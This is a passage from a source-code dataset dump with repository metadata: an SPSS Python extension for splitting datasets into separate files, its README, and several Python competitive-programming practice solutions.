coldim == \"\":\n coldim = self.Append(Dimension.Place.column,\"coldim\",True,False)\n else:\n coldim = self.Append(Dimension.Place.column,coldim,False,False)\n\n if tmpCells <> []:\n categories = [(row,col) for row in tmpRowLabels for col in tmpColLabels]\n for (i,cats) in enumerate(categories):\n self[cats] = tmpCells[i]\n\n # monkey patch BasePivotTable class\n import spss.errMsg\n error = spss.errMsg.errCode()\n spss.BasePivotTable.SimplePivotTable = SimplePivotTable\n\n\ndef _safeval(val, quot='\"'):\n \"return safe value for quoting with quot, which may be single or double quote or blank\"\n return quot == \" \" and val or val.replace(quot, quot+quot)\n\ndef Run(args):\n \"\"\"Execute the SPSSINC SPLIT DATASETS extension command\"\"\"\n\n args = args[args.keys()[0]]\n\n oobj = Syntax([\n Template(\"SPLITVAR\", subc=\"\", ktype=\"existingvarlist\", var=\"varnames\", islist=True),\n Template(\"DIRECTORY\", subc=\"OUTPUT\", ktype=\"literal\", var=\"directory\"),\n Template(\"DELETECONTENTS\", subc=\"OUTPUT\", ktype=\"bool\", var=\"deletecontents\"),\n Template(\"MAKETEMPDIR\", subc=\"OUTPUT\", ktype=\"bool\", var=\"maketempdir\"),\n Template(\"FILENAME\", subc=\"OUTPUT\", ktype=\"literal\", var=\"fnspec\"),\n Template(\"NAMES\", subc=\"OPTIONS\", ktype=\"str\", var=\"names\", vallist=[\"values\", \"labels\",\"numbers\"]),\n Template(\"FILENAMESUBS\", subc=\"OPTIONS\", ktype=\"str\", var=\"filenamesubs\", vallist=[\"values\", \"labels\", \"numbers\", \"asdir\"]),\n Template(\"NAMEPREFIX\", subc=\"OPTIONS\", ktype=\"literal\", var=\"nameprefix\"),\n Template(\"FILELIST\", subc=\"OPTIONS\", ktype=\"literal\", var=\"filelist\"),\n Template(\"PRINTLIST\", subc=\"OPTIONS\", ktype=\"bool\", var=\"printlist\"),\n Template(\"HELP\", subc=\"\", ktype=\"bool\")])\n\n #try:\n #import wingdbstub\n #if wingdbstub.debugger != None:\n #if wingdbstub.debugger.ChannelClosed():\n #import time\n #wingdbstub.debugger.StopDebug()\n #time.sleep(2)\n #wingdbstub.debugger.StartDebug()\n #import thread\n #wingdbstub.debugger.SetDebugThreads({thread.get_ident(): 1}, default_policy=0)\n #except:\n #pass\n\n #enable localization\n global _\n try:\n _(\"---\")\n except:\n def _(msg):\n return msg\n # A HELP subcommand overrides all else\n if args.has_key(\"HELP\"):\n #print helptext\n helper()\n else:\n processcmd(oobj, args, makesplits, vardict=spssaux.VariableDict())\n\ndef helper():\n \"\"\"open html help in default browser window\n \n The location is computed from the current module name\"\"\"\n\n import webbrowser, os.path\n \n path = os.path.splitext(__file__)[0]\n helpspec = \"file://\" + path + os.path.sep + \\\n \"markdown.html\"\n \n # webbrowser.open seems not to work well\n browser = webbrowser.get()\n if not browser.open_new(helpspec):\n print(\"Help file not found:\" + helpspec)\ntry: #override\n from extension import helper\nexcept:\n pass\n\ndef makesplits(varnames, directory=None, deletecontents=False, maketempdir = False,\n names=\"values\", nameprefix=\"\", filelist=None, printlist=True, fnspec=\"\", filenamesubs=\"asdir\"):\n \"\"\"Create split data files and reports\"\"\"\n\n myenc = locale.getlocale()[1] # get current encoding in case conversions needed\n if fnspec and nameprefix:\n raise ValueError(_(\"FILENAME and NAMEPREFIX cannot be used together\"))\n if fnspec and names == \"numbers\":\n raise ValueError(_(\"FILENAME and Names = Numbers cannot be used together\"))\n\n def unicodeit(value, keepnumeric=False):\n \"\"\"Convert singleton or sequence to Unicode\n\n if keepnumeric, then numbers are left as numeric\"\"\"\n\n isseq = spssaux._isseq(value)\n if not isseq:\n value = [value]\n for i, v in enumerate(value):\n if isinstance(v, (int, float)):\n if not keepnumeric:\n value[i]= unicode(v)\n elif v is None:\n pass\n elif not isinstance(v, unicode):\n value[i] = unicode(v, myenc)\n if isseq:\n return value\n else:\n return value[0]\n\n cwd = unicodeit(spssaux.GetSHOW(\"DIRECTORY\"))\n\n # output files will go into or under a temporary directory, the cwd of the backend,\n # or a specified path. Deleting contents is not allowed in cwd.\n\n #if spssaux._isseq(varname):\n #varname = varname[0]\n varnames = unicodeit(varnames)\n directory = unescape(directory)\n root = None\n delcount = 0\n if maketempdir:\n root=tempfile.mkdtemp()\n elif directory is None:\n root = cwd\n elif deletecontents: # Needs update for subtrees\n if not directory.endswith(\"/\") or directory.endswith(\"\\\\\"):\n directory = directory + os.sep\n\n if directory and root:\n directory = os.path.join(root, directory)\n elif root:\n directory = root\n directory = unicodeit(directory)\n\n dsn = spss.ActiveDataset()\n if dsn == \"*\":\n dsn = \"D\" + str(random.uniform(0,1))\n spss.Submit(\"DATASET NAME \" + dsn)\n\n varnamestr = \" \".join(varnames)\n # get the list of values for the splitting variable.\n # AGGREGATE will fail if there are any undefined variables\n \n dsname = \"D\" + str(random.uniform(0,1))\n cmd = \"\"\"DATASET DECLARE %(dsname)s.\n AGGREGATE /OUTFILE = \"%(dsname)s\"\n /BREAK = %(varnamestr)s\n /%(dsname)s=N.\n DATASET ACTIVATE %(dsname)s.\"\"\" % locals()\n spss.Submit(cmd)\n\n # cases is a list of tuples of values and counts.\n # By default, user missing values become None and can produce\n # multiple cases with the same apparent break value, so we turn that off.\n cur = spss.Cursor()\n cur.SetUserMissingInclude(True)\n cases = cur.fetchall()\n cur.close()\n spss.Submit(\"\"\"DATASET CLOSE %(dsname)s.\nDATASET ACTIVATE %(dsn)s.\"\"\" % locals()) \n\n # get all but last variable and convert from tuple to list\n cases = [list(item[:-1]) for item in cases] # we just need the break values\n if names == \"labels\" or filenamesubs == \"labels\":\n vardict = spssaux.VariableDict(varnames)\n if len(vardict) != len(varnames):\n raise ValueError(_(\"One or more of the split variables was not found. Note that names are case sensitive\"))\n vldict = [vardict[v.VariableName].ValueLabels for v in vardict] # a list of value label dictionaries\n # ensure that everything is properly unicoded\n vldict = [dict((unicodeit(k), unicodeit(v)) for k, v in item.iteritems()) for item in vldict]\n else:\n vldict = [{}]\n\n # set up values for use in syntax by quoting and converting values\n\n\n for row, case in enumerate(cases):\n for v, vval in enumerate(case):\n if not isinstance(vval, basestring) and vval is not None:\n if int(vval) != vval:\n raise ValueError(_(\"Split variable contains non-integer value: %f\") % vval)\n\n\n valuecount = len(cases)\n\n fnc = filename(varnames, names, vldict, directory, nameprefix, myenc, unicodeit, \n deletecontents, fnspec, filenamesubs)\n xsavetemplate = \"\"\" XSAVE OUTFILE=%s.\"\"\"\n\n xsavelimit = v18okay and 64 or 10\n\n remaining = valuecount\n fns = []\n\n for v in range(0, valuecount, xsavelimit):\n if v > 0:\n spss.Submit(\"EXECUTE.\") # must execute transformation block in order to submit new ones\n for g in range(min(xsavelimit, remaining)):\n if g == 0:\n cmd = [\"DO IF \"]\n else:\n cmd.append(\"ELSE IF \")\n values = unicodeit(cases[v+g], keepnumeric=True)\n spssexpr = makeexpr(varnames, values)\n cmd[-1] = cmd[-1] + (\"(\" + spssexpr + \").\")\n valuestr, fnv, fn, thefile = fnc.genfn(values)\n fns.append([fn, valuestr, thefile])\n cmd.append(xsavetemplate % fn)\n cmd.append(\"END IF.\")\n spss.Submit(\"\\n\".join(cmd))\n remaining -= xsavelimit\n\n\n for i in range(valuecount):\n for j in range(3):\n fns[i][j] = unistr(fns[i][j], myenc)\n\n if not filelist is None:\n filelist = unescape(filelist)\n fh = Handles() # only functional for V18 or later.\n # filelist itself is already resolved by the UP because of its parameter type\n filelist = fixloc(unicodeit(filelist), cwd)\n fh.resolvehandles(fns) \n\n with codecs.open(filelist, \"wb\", encoding=\"utf_8_sig\") as f:\n f.writelines([item[0] + ' ' + item[1] + os.linesep for item in fns])\n\n spss.StartProcedure(\"SPSSINC SPLIT DATASET\")\n pt = NonProcPivotTable(\"INFORMATION\", tabletitle=_(\"Split File Information\"),\n columnlabels=[_(\"Settings and Statistics\")])\n pt.addrow(rowlabel=_(\"Split Variable Names\"), cvalues=[\", \".join(varnames)])\n pt.addrow(rowlabel=_(\"Output Directory\"), cvalues=[directory])\n pt.addrow(rowlabel=_(\"Files Deleted\"), cvalues=[str(fnc.delcount)])\n pt.addrow(rowlabel=_(\"Files Written\"), cvalues=[str(len(fns))])\n pt.addrow(rowlabel=_(\"File List\"), cvalues=[filelist or _(\"None\")])\n pt.addrow(rowlabel=_(\"Directories Cleared\"), cvalues=[deletecontents and _(\"Yes\") or _(\"No\")])\n pt.generate()\n\n if printlist:\n pt = NonProcPivotTable(\"FILEOUTPUT\", _(\"Split Files Written\"), \n tabletitle=_(\"Values and File Names for Split Files Written\"), \n columnlabels=[_(\"Values or Labels\"), _(\"Directory\"), _(\"Data File\")],\n caption=_(\"Based on Variables: %s\") % \", \".join(varnames))\n for i, f in enumerate(fns):\n row = [f[1]]\n row.extend((os.path.split(f[0].strip('\"'))))\n pt.addrow(rowlabel=str(i+1), cvalues=row)\n pt.generate()\n\n spss.EndProcedure\n\ndef unistr(value, myenc):\n \"\"\"return unicode value for a unicode object, a number, or a code page object\"\"\"\n if isinstance(value, unicode):\n return value\n if isinstance(value, (float, int)):\n return unicode(value)\n if value is None:\n return u\"$Sysmis\"\n return unicode(value, myenc)\n\ndef str18(item):\n if v19okay:\n return item\n\n\nclass Strtemplate(object):\n \"\"\"class for pattern substitution like string.Template but working with arbitrary nonidentifier strings\"\"\"\n reexpr = re.compile(r\"(\\$\\{.+?\\})\")\n def __init__(self, s):\n \"\"\"s is a string possibly containing patterns of the form ${...}\"\"\"\n\n self.s = s\n\n def substitute(self, d):\n \"\"\"substitute all patterns from dictionary d\"\"\"\n\n def repl(mo):\n try:\n return d[mo.group()[2:-1]]\n except:\n raise ValueError(_(\"A variable reference was found in a directory or file name pattern that is not listed as a split variable: %s\") % mo.group()[2:-1])\n\n return re.sub(Strtemplate.reexpr, repl, self.s)\n\nclass filename(object):\n \"\"\"Generate file names and paths for the split files\"\"\"\n\n def __init__(self, varnames, names, vldict, directory, nameprefix, myenc, unicodeit, \n deletecontents, fnspec, filenamesubs):\n \"\"\"varnames is a sequence of variable names\n names indicates whether value lablels or values are used\n vldict is a sequence of value label dictionaries\n directory is a simple path or a template in which variable values may be substituted\n nameprefix is a prefix for all the file names\n myenc is the character encoding\n deletecontents indicates whether target directories should be cleared of sav files\n fnspec can be used to override the generated file names. It can be a template.\n filenamesubs can override the names mode.\"\"\"\n\n attributesFromDict(locals())\n self.first = True\n if nameprefix and not nameprefix.endswith(\"_\"):\n self.nameprefix = nameprefix + \"_\"\n self.used = set()\n self.pat = re.compile(r\"\"\"[/\\\\:\"*?<>|]\"\"\")\n self.dirpat = re.compile(r\"\"\"[:\"*?<>|]\"\"\")\n if not (directory.endswith(\"/\") or directory.endswith(\"\\\\\")):\n self.directory = self.directory + os.sep\n self.directory = Strtemplate(directory) # template for split variable substitutions\n self.fnspec = Strtemplate(fnspec)\n self.seq = 0\n self.numvar = len(varnames)\n self.delcount = 0\n if filenamesubs == \"asdir\":\n self.fnames = names\n else:\n self.fnames = filenamesubs\n self.handles = Handles()\n\n def genfn(self, values):\n \"\"\"generate a quoted filespec for values and manage directories\n\n values is a sequence of one or more values to combine. It may be a mixture of strings and numbers\"\"\"\n\n nvalues = []\n for v in values:\n if isinstance(v, basestring):\n nvalues.append(v.rstrip())\n elif v is None:\n nvalues.append(\"$Sysmis\")\n else:\n nvalues.append(str(int(v)))\n values = nvalues\n\n if self.names in [\"values\", \"numbers\"]:\n d = dict(zip(self.varnames, values))\n valuelist = \", \".join(values)\n else:\n labels = [self.vldict[i].get(value, value) for i, value in enumerate(values)]\n d = dict(zip(self.varnames, labels))\n valuelist = \", \".join(labels)\n if self.names == self.fnames: # same substitution mode for directories and filenames\n fd = d\n else:\n if self.fnames in [\"values\", \"numbers\"]:\n fd = dict(zip(self.varnames, values))\n else:\n labels = [self.vldict[i].get(value, value) for i, value in enumerate(values)]\n fd = dict(zip(self.varnames, labels))\n \n if self.fnspec.s:\n fn = self.fnspec.substitute(fd)\n else:\n if self.fnames == \"labels\":\n fn = \"_\".join([self.vldict[i].get(value, value) for i, value in enumerate(values)]) # use value label if available; else name\n elif self.fnames == \"values\":\n fn = \"_\".join(values)\n else:\n self.seq += 1\n fn = \"%05d\" % self.seq\n if fn is None:\n fn = \"$Sysmis\"\n value = fn\n fn = unistr(fn, self.myenc)\n ###fnv = unistr(value, self.myenc)\n fnv = fn\n fn = re.sub(self.pat, \"_\", fn) # chars illegal in file name (Windows) or at least undesirable on other platforms\n #if fn.lower() in self.used:\n #raise ValueError(_(\"Output file names are not unique: %s\") % fn)\n self.used.add(fn.lower())\n\n # substitution for illegal characters allows \":\" as a drive separator but nowhere else\n actualdir = self.directory.substitute(d)\n # check for file handle and resolve if possible\n if self.handles:\n actualdir = self.handles.resolve(actualdir)\n dirparts = list(os.path.splitdrive(actualdir)) # first item will be empty if no drive letter\n dirparts[-1] = re.sub(self.dirpat, \"_\", dirparts[-1])\n actualdir = \"\".join(dirparts)\n if not os.path.isdir(actualdir): # does directory exist?\n if os.path.isfile(actualdir): # don't overwrite a file\n raise ValueError(\"Error: A file exists with the same name as a target directory: %s\" % actualdir)\n else:\n os.makedirs(actualdir)\n else:\n if self.deletecontents and self.first: # 12/8/2011\n self.first = False\n for f in glob.iglob(os.path.join(actualdir, \"*.sav\")):\n os.remove(f)\n self.delcount += 1\n return valuelist, fnv, '\"' + _safeval(os.path.join(actualdir, self.nameprefix + fn + \".sav\")) + '\"', self.nameprefix + fn + u\".sav\"\n\ndef makeexpr(varnames, values):\n \"\"\"Return conditional for this split and value string for output\n\n varnames is the list of criterion variables\n values is a list of values\"\"\"\n\n crit = []\n for var, value in zip(varnames, values):\n if isinstance(value, basestring):\n expression = var + ' EQ \"' + _safeval(value) +'\"'\n elif value is None:\n expression = \"SYSMIS(%s)\" % var\n else:\n expression = var + \" EQ \" + str(value)\n crit.append(expression)\n return \" AND \".join(crit)\n\ndef fixloc(filelist, cwd):\n \"\"\"return filelist aligned with SPSS process\n\n filelist is a filespec\n cwd is the SPSS process current working directory\"\"\"\n\n if os.path.isabs(filelist):\n return filelist\n parts = os.path.splitdrive(filelist)\n if not parts[0] == \"\":\n raise ValueError(_(\"Relative paths cannot be specified with a drive letter: %s\") % filelist)\n return os.path.join(cwd, parts[1])\n\nclass Handles(object):\n \"\"\"Version-guarded file handle resolver\"\"\"\n def __init__(self):\n try:\n self.fh = spssaux.FileHandles()\n except:\n self.fh = None\n\n def resolvehandles(self, fns):\n \"\"\"resolve file handles in spec if V18 or later\n\n fns is a list where each list element is a list whose first element is the filespec.\n Each filespec actually starts with a double quote\"\"\"\n\n if self.fh:\n for item in fns:\n item[0] = '\"' + self.fh.resolve(item[0][1:])\n\n def resolve(self, filespec):\n \"Ordinary handle resolver but guarded. Returns expanded filespec if possible\"\n\n if self.fh:\n return self.fh.resolve(filespec)\n else:\n return filespec\n\nclass NonProcPivotTable(object):\n \"\"\"Accumulate an object that can be turned into a basic pivot table once a procedure state can be established\"\"\"\n\n def __init__(self, omssubtype, outlinetitle=\"\", tabletitle=\"\", caption=\"\", rowdim=\"\", coldim=\"\", columnlabels=[],\n procname=\"Messages\"):\n \"\"\"omssubtype is the OMS table subtype.\n caption is the table caption.\n tabletitle is the table title.\n columnlabels is a sequence of column labels.\n If columnlabels is empty, this is treated as a one-column table, and the rowlabels are used as the values with\n the label column hidden\n\n procname is the procedure name. It must not be translated.\"\"\"\n\n attributesFromDict(locals())\n self.rowlabels = []\n self.columnvalues = []\n self.rowcount = 0\n\n def addrow(self, rowlabel=None, cvalues=None):\n \"\"\"Append a row labelled rowlabel to the table and set value(s) from cvalues.\n\n rowlabel is a label for the stub.\n cvalues is a sequence of values with the same number of values are there are columns in the table.\"\"\"\n\n if cvalues is None:\n cvalues = []\n self.rowcount += 1\n if rowlabel is None:\n self.rowlabels.append(str(self.rowcount))\n else:\n self.rowlabels.append(rowlabel)\n self.columnvalues.extend(cvalues)\n\n def generate(self):\n \"\"\"Produce the table assuming that a procedure state is now in effect if it has any rows.\"\"\"\n\n privateproc = False\n if self.rowcount > 0:\n try:\n table = spss.BasePivotTable(self.tabletitle, self.omssubtype)\n except:\n spss.StartProcedure(self.procname)\n privateproc = True\n table = spss.BasePivotTable(self.tabletitle, self.omssubtype)\n if self.caption:\n table.Caption(self.caption)\n if self.columnlabels != []:\n table.SimplePivotTable(self.rowdim, self.rowlabels, self.coldim, self.columnlabels, self.columnvalues)\n else:\n table.Append(spss.Dimension.Place.row,\"rowdim\",hideName=True,hideLabels=True)\n table.Append(spss.Dimension.Place.column,\"coldim\",hideName=True,hideLabels=True)\n colcat = spss.CellText.String(\"Message\")\n for r in self.rowlabels:\n cellr = spss.CellText.String(r)\n table[(cellr, colcat)] = cellr\n if privateproc:\n spss.EndProcedure()\n\ndef attributesFromDict(d):\n \"\"\"build self attributes from a dictionary d.\"\"\"\n self = d.pop('self')\n for name, value in d.iteritems():\n setattr(self, name, value)\n\nescapemapping = \\\n {\"\\t\": r\"\\t\", \"\\n\":r\"\\n\", \"\\r\": r\"\\r\", \"\\'\":r\"\\'\", \"\\a\":r\"\\a\",\"\\b\":r\"\\b\", \"\\f\":r\"\\f\",\"\\N\":r\"\\N\", \"\\v\":r\"\\v\"}\n\ndef unescape(item):\n \"repair any escape sequences generated by the UP\"\n if item is None:\n return item\n return \"\".join([escapemapping.get(ch, ch) for ch in item])\n" }, { "alpha_fraction": 0.7184959053993225, "alphanum_fraction": 0.727642297744751, "avg_line_length": 33.14285659790039, "blob_id": "6404907b66b7007daa55412536b31f7165964c65", "content_id": "451923c2e85fab8ef49f459f91f152ea4bdad973", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 984, "license_type": "permissive", "max_line_length": 222, "num_lines": 28, "path": "/Readme.md", "repo_name": "iFranklinZhao/SPSSINC_SPLIT_DATASET", "src_encoding": "UTF-8", "text": "# SPSSINC SPLIT DATASET\r\n## Split a dataset into separate files according to splitting variables\r\n This procedure partitions a dataset into a set of sav files according to the values of one or more splitting variables. Used with SPSSINC PROCESS FILES, it provides a generalization of the built-in SPLIT FILES mechanism.\r\n\r\n---\r\nRequirements\r\n----\r\n- IBM SPSS Statistics 18 or later and the corresponding IBM SPSS Statistics-Integration Plug-in for Python.\r\n\r\nNote: For users with IBM SPSS Statistics version 22 or higher, the SPSSINC SPLIT DATASET extension is installed as part of IBM SPSS Statistics-Essentials for Python.\r\n\r\n---\r\nInstallation intructions\r\n----\r\n1. Open IBM SPSS Statistics\r\n2. Navigate to Utilities -> Extension Bundles -> Download and Install Extension Bundles\r\n3. Search for the name of the extension and click Ok. Your extension will be available.\r\n\r\n---\r\nLicense\r\n----\r\n\r\n- Apache 2.0\r\n \r\nContributors\r\n----\r\n\r\n - JKP, IBM SPSS\r\n" } ]
2
atsss/nyu_deep_learning
https://github.com/atsss/nyu_deep_learning
9853f9480e624ce41f2bda3378c55a145c021113
199694e6d4ebc4adb8e3effce07e7bdd0cbe684e
a00b9a003986dba6e68c9992e28b8459ec5798dc
refs/heads/main
2023-07-11T20:57:38.057815
2021-08-13T05:39:03
2021-08-13T05:39:03
344,020,147
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.34851935505867004, "alphanum_fraction": 0.45558086037635803, "avg_line_length": 13.161290168762207, "blob_id": "00298ceea9fa0557ae33525db3f972836d78268a", "content_id": "054108c82fdd6dd1b7e97e502beb80c8b091beea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 439, "license_type": "no_license", "max_line_length": 53, "num_lines": 31, "path": "/examples/intermediate/08_dynamic_programming/034.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = 45\ndp = [0] * N\ndp[0] = dp[1] = 1\nfor i in range(N-2):\n dp[i+2] = dp[i] + dp[i+1]\nn = int(input())\nprint (dp[n])\n\n# My answer\n# 2021/04/25\n# n = int(input())\n# mx = 45\n#\n# fib = [0] * mx\n# fib[0] = 1\n# fib[1] = 1\n#\n# for i in range(2, mx): fib[i] = fib[i-1] + fib[i-2]\n#\n# print(fib[n])\n\n# 2021/05/02\n# n = int(input())\n#\n# dp = [0] * 45\n# dp[0] = 1\n# dp[1] = 1\n#\n# for i in range(2, 45): dp[i] = dp[i-1] + dp[i-2]\n#\n# print(dp[n])\n" }, { "alpha_fraction": 0.4665108919143677, "alphanum_fraction": 0.48208722472190857, "avg_line_length": 18.75384521484375, "blob_id": "6a02ce4142a950d84c7830318e7e11f3f72b5c35", "content_id": "e15fca993d8d04aebbef5465b736931f1cf66d88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1284, "license_type": "no_license", "max_line_length": 47, "num_lines": 65, "path": "/examples/contests/205/D.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# from collections import Counter\n#\n# N, Q = map(int, input().split())\n# A = list(map(int, input().split()))\n# K = [int(input()) for _ in range(Q)]\n#\n# st = set(K)\n# col = Counter(A)\n# col_index = 1\n# k_index = 0\n# length = 0\n# ans = {}\n#\n# while True:\n# if col[col_index] == 0:\n# k_index += 1\n#\n# if k_index in st:\n# length += 1\n# ans[k_index] = col_index\n#\n# if length == Q:\n# break\n#\n# col_index += 1\n#\n# for k in K: print(ans[k])\n\n# N, Q = map(int, input().split())\n# A = list(map(int, input().split()))\n# K = [int(input()) for _ in range(Q)]\n#\n# arr = []\n# A.sort()\n# prev = 0\n# for current in A:\n# arr += list(range(prev+1, current))\n# prev = current\n#\n# length = len(arr)\n# ans = {}\n# for k in K:\n# if k > length:\n# ans[k] = A[-1] + (k - length)\n# else:\n# ans[k] = arr[k-1]\n#\n# for k in K: print(ans[k])\n\nimport bisect\n\nn, q = map(int, input().split())\narr = list(map(int, input().split()))\ndp = []\ndp.append(arr[0] - 1)\nfor i in range(1, n):\n dp.append(dp[-1] + arr[i] - arr[i - 1] - 1)\ndp.append(float(\"inf\"))\nfor _ in range(q):\n cq = int(input())\n k = bisect.bisect_left(dp, cq)\n if k == 0:\n print(cq)\n else:\n print(arr[k - 1] + cq - dp[k - 1])\n" }, { "alpha_fraction": 0.5091241002082825, "alphanum_fraction": 0.5456204414367676, "avg_line_length": 17.576271057128906, "blob_id": "bd962b7ddcb8d36e7ebcca30eaab71e15250b488", "content_id": "1a71215b22439ee718148b3d2963c8d85fc35cd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1174, "license_type": "no_license", "max_line_length": 49, "num_lines": 59, "path": "/examples/intermediate/19_cumulative_sum/077.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import itertools\nMOD = 10**5\nN, M = map(int, input().split())\nD = [0] # 先頭に0を入れておくと、累積和の差分計算の際に楽\nfor n in range(N-1):\n d = int(input())\n D.append(d)\nC = []\nfor m in range(M):\n c = int(input())\n C.append(c)\n\ncsum = list(itertools.accumulate(D))\ncur = 1\nans = 0\nfor c in C:\n next = cur + c # 移動\n ans += abs(csum[next-1]-csum[cur-1]) # 絶対値を足す\n cur = next # 次の移動開始地点\n ans %= MOD\nprint (ans)\n\n# My answer\n# 2021/04/28\n# from itertools import accumulate\n#\n# n, m = map(int, input().split())\n# S = [0] + [int(input()) for _ in range(n-1)]\n# A = [int(input()) for _ in range(m)]\n# mod = 10**5\n#\n# csum = list(accumulate(S))\n# ans = 0\n# hotel = 0\n#\n# for a in A:\n# ans += abs(csum[hotel+a] - csum[hotel])\n# hotel += a\n# ans %= mod\n#\n# print(ans)\n\n# 2021/05/04\n# from itertools import accumulate\n#\n# MOD = 10**5\n# n, m = map(int, input().split())\n# S = [int(input()) for _ in range(n-1)]\n# A = [int(input()) for _ in range(m)]\n#\n# ac = list(accumulate([0]+S))\n# ans = 0\n# prev = 0\n#\n# for a in A:\n# ans += abs(ac[prev+a]-ac[prev])\n# prev += a\n#\n# print(ans%MOD)\n" }, { "alpha_fraction": 0.6354166865348816, "alphanum_fraction": 0.6354166865348816, "avg_line_length": 18.200000762939453, "blob_id": "b9b64aa50976541b499c30fb37c229ef805e5da6", "content_id": "d2450628c8f6fc2ee2a910c090365ce4f7e996ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 96, "license_type": "no_license", "max_line_length": 71, "num_lines": 5, "path": "/examples/beginner/ABC049C.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import re\n\ns = input()\n\nprint('YES' if re.match('(dream|dreamer|erase|eraser)+$', s) else 'NO')\n" }, { "alpha_fraction": 0.4660831391811371, "alphanum_fraction": 0.5087527632713318, "avg_line_length": 17.280000686645508, "blob_id": "d83fa27849ff264965f873728b68f7d84f3973ba", "content_id": "e2292d534edc380cd3e5d61476bb178362deb853", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 914, "license_type": "no_license", "max_line_length": 48, "num_lines": 50, "path": "/examples/intermediate/01_all_enumeration/001.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import combinations\nnx = []\nwhile(1):\n n, x = map(int,input().split())\n if n==0 and x==0:\n break\n nx.append((n,x))\n\nfor n,x in nx:\n cnt = 0\n for c in list(combinations(range(1,n+1),3)):\n if sum(c)==x:\n cnt += 1\n print (cnt)\n\n# My answer\n# 2021/04/20\n# from itertools import combinations\n#\n# ans = []\n#\n# while(1):\n# n, x = map(int, input().split())\n#\n# if n == 0 and x == 0: break\n#\n# count = 0\n# for c in combinations(range(1, n+1), 3):\n# if sum(c) == x: count += 1\n#\n# ans.append(count)\n#\n# for a in ans:\n# print(a)\n\n# 2021/04/30\n# from itertools import combinations\n#\n# ans = []\n#\n# while True:\n# n, x = map(int, input().split())\n# if n == 0 and x == 0: break\n#\n# count = 0\n# for c in combinations(range(1, n+1), 3):\n# if sum(c) == x: count += 1\n# ans.append(count)\n#\n# for a in ans: print(a)\n" }, { "alpha_fraction": 0.4574168026447296, "alphanum_fraction": 0.5284827947616577, "avg_line_length": 19.61627960205078, "blob_id": "513bb19f0cbbac0d8e7954937ab3354ab1b1c1d9", "content_id": "aa98fc85825b5c593cec514b8083f8f1f03485ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1797, "license_type": "no_license", "max_line_length": 81, "num_lines": 86, "path": "/examples/intermediate/02_advanced_all_enumeration/007.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import combinations\n\nN = int(input())\nls = []\nfor n in range(N):\n x, y = map(int,input().split())\n ls.append((x,y))\n\nls.sort() # 多分要らない?\nst = set(ls)\nans = 0\n\nfor p1, p2 in combinations(ls, 2): # 組み合わせでOK\n x1, y1 = p1\n x2, y2 = p2\n if (x2 + y2 - y1, y2 + x1 - x2) in st and (x1 + y2 - y1, y1 + x1 - x2) in st:\n ans = max(ans, (x1-x2)**2+(y1-y2)**2)\n\nprint (ans)\n\n# My answer\n# 2021/04/21\n# from itertools import combinations\n#\n# n = int(input())\n# cordinates = { tuple(map(int, input().split())) for _ in range(n) }\n# ans = 0\n#\n# for c1, c2 in combinations(cordinates, 2):\n# x1, y1 = c1\n# x2, y2 = c2\n# dx = x2 - x1\n# dy = y2 - y1\n#\n# c3 = (x2 + dy, y2 - dx)\n# c4 = (x1 + dy, y1 - dx)\n#\n# if c3 in cordinates and c4 in cordinates: ans = max(ans, dx**2 + dy**2)\n#\n# print(ans)\n\n# My answer\n# 2021/04/30\n# from itertools import combinations\n#\n# n = int(input())\n# coordinates = [tuple(map(int, input().split())) for _ in range(n)]\n# ans = 0\n#\n# coordinates.sort()\n# st = set(coordinates)\n#\n# for c1, c2 in combinations(coordinates, 2):\n# dx = c2[0] - c1[0]\n# dy = c2[1] - c1[1]\n# c3 = (c2[0]+dy, c2[1]-dx)\n# c4 = (c1[0]+dy, c1[1]-dx)\n#\n# if c3 in st and c4 in st:\n# ans = max(ans, dx**2 + dy**2)\n#\n# print(ans)\n\n# 2021/05/21\n# from itertools import combinations\n#\n# N = int(input())\n# coordinates = [tuple(map(int, input().split())) for _ in range(N)]\n#\n# coordinates.sort()\n# st = set(coordinates)\n# ans = 0\n#\n# for c1, c2 in combinations(coordinates, 2):\n# x1, y1 = c1\n# x2, y2 = c2\n# dx = x2 - x1\n# dy = y2 - y1\n#\n# c3 = (x2 + dy, y2 - dx)\n# c4 = (x1 + dy, y1 - dx)\n#\n# if c3 in st and c4 in st:\n# ans = max(ans, dx**2 + dy**2)\n#\n# print(ans)\n" }, { "alpha_fraction": 0.5036407709121704, "alphanum_fraction": 0.5400485396385193, "avg_line_length": 16.53191566467285, "blob_id": "bb8cb6fa1aa747f01a3e77c6354c3818033d5ee1", "content_id": "49bfa87ff01acaec3a8d35482545dbd301980ba4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 856, "license_type": "no_license", "max_line_length": 49, "num_lines": 47, "path": "/examples/intermediate/05_binary_search/018.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import bisect\n\nN = input()\nINF = 10**10\nS = list(map(int,input().split())) + [INF]\nQ = input()\nT = list(map(int,input().split()))\n\nans = 0\n\nfor t in T:\n i = bisect.bisect_left(S, t)\n if (S[i] == t): # Sにtが含まれれば挿入点の値と等しい\n ans += 1\nprint(ans)\n\n# My answer\n# 2021/04/24\n# from bisect import bisect_left\n#\n# n = int(input())\n# S = list(map(int, input().split()))\n# q = int(input())\n# T = list(map(int, input().split()))\n#\n# ans = 0\n#\n# for t in T:\n# index = bisect_left(S, t)\n# if S[index] == t: ans += 1\n#\n# print(ans)\n\n# 2021/04/30\n# from bisect import bisect_left\n#\n# n = int(input())\n# S = list(map(int, input().split())) + 